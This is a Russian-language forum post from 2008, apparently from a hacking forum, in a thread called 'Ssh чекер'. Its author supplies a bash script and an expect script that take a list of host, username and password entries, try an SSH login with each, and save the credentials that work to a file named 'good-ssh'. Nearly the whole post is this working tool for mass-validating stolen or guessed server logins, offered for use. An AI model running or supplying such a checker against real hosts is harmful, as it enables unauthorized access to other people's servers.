Тема: Ssh чекер
Показать сообщение отдельно

  #5  
Старый 04.03.2008, 18:31
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме:
1777536

Репутация: 932


Отправить сообщение для Ky3bMu4 с помощью ICQ
По умолчанию

Вот, держи: expect + bash
ssh.sh - сам чекер. В качаестве параметра даётся файл с содержанием localhost root pass ...
Валидные акки идут в файл good-ssh
Код:
#!/bin/bash

if [ $# > 0 ]; then 
	file=`cat $1`
	t=0
	for i in ${file[@]/\r\n//}
	do
		case $t in
			0) host=$i ;;	
			1) user=$i ;;
			*) pass=$i 
			t=0
			expect ./ssh.exp $host $user $pass > /dev/null
			if [ $? = 1 ]; then
				echo "$host $user $pass" >> good-ssh
			fi
		esac
		let "t+=1"
	done	
else 
	echo "Use: $0 file"
fi
ssh.exp - работа с ssh на expect . Положить рядом с ssh.sh
Код:
#!/usr/bin/expect

proc  auth {1 2 3} {
	global result
	spawn ssh "$2@$1"
	expect { 
		"Password:" { send "$3\r" }
		
		timeout { 
			set result 0
			return 0 
		}
		"known" { 
			set result 0
			return 0 
		}
		"yes" { send "yes\r" }

	}
	expect {
		"Password:" { 
			set result 0
			return 0
		}
		"denied" {
			set result 0
			return 0 
		}
		-ex "$" {
			send "quit\r"
			set result 1
			return 1
		}
		-ex "#" {
			send "quit\r"
			set result 1
			return 1
		}
		timeout { 
			set result 0
			return 0 
		}

	}

}

set i 1
foreach arg $argv {
	if { $i == 1 } { set host $arg }
	if { $i == 2 } { set login $arg }
	if { $i == 3 } { set pass $arg }
	incr i
}
	auth $host $login $pass
	exit $result

Последний раз редактировалось Ky3bMu4; 05.03.2008 в 11:35..
 
Ответить с цитированием